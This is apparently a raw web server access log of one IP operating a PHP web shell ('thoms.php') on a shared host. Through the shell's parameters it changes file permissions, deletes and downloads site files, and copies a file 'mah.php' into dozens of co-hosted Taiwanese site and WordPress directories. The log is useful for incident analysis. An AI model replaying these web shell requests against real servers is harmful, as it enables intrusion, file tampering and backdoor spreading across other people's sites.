45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /booking-wise2.com.tw/web-common HTTP/1.1" 301 795 "http://163.245.207.76:443/booking-wise2.com.tw/web-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /booking-wise2.com.tw/web-common/ HTTP/1.1" 200 6292 "https://163.245.207.76:443/booking-wise2.com.tw/web-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?del=admin.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13121 "http://163.245.207.76:443/thoms.php?del=admin.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13122 "https://163.245.207.76:443/thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:43 -0400] "GET /thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13114 "http://163.245.207.76:443/thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /booking-wise2.com.tw/web-common/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common&view=profile.php HTTP/1.1" 200 11860 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fweb-common&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common%2Fprofile.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common%2Fprofile.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?del=profile.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13425 "http://163.245.207.76:443/thoms.php?del=profile.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /booking-wise2.com.tw/web-common/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common&upload= HTTP/1.1" 200 12194 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fweb-common&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common%2Fadmin.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common%2Fadmin.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13424 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common%2Fadmin.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?chmod=profile.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?del=license.txt&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13438 "http://163.245.207.76:443/thoms.php?del=license.txt&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fweb-common%2Flicense.txt&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fweb-common%2Flicense.txt&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17588 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17673 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11364 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 11368 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p= HTTP/1.1" 200 12401 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11365 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=upgrade HTTP/1.1" 200 11380 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22691 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22567 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11417 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 200 11378 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22666 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=wp-content HTTP/1.1" 200 11417 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:48 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22647 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:49 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:49 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:49 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:50 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:51 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:51 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:52 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:43:53 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
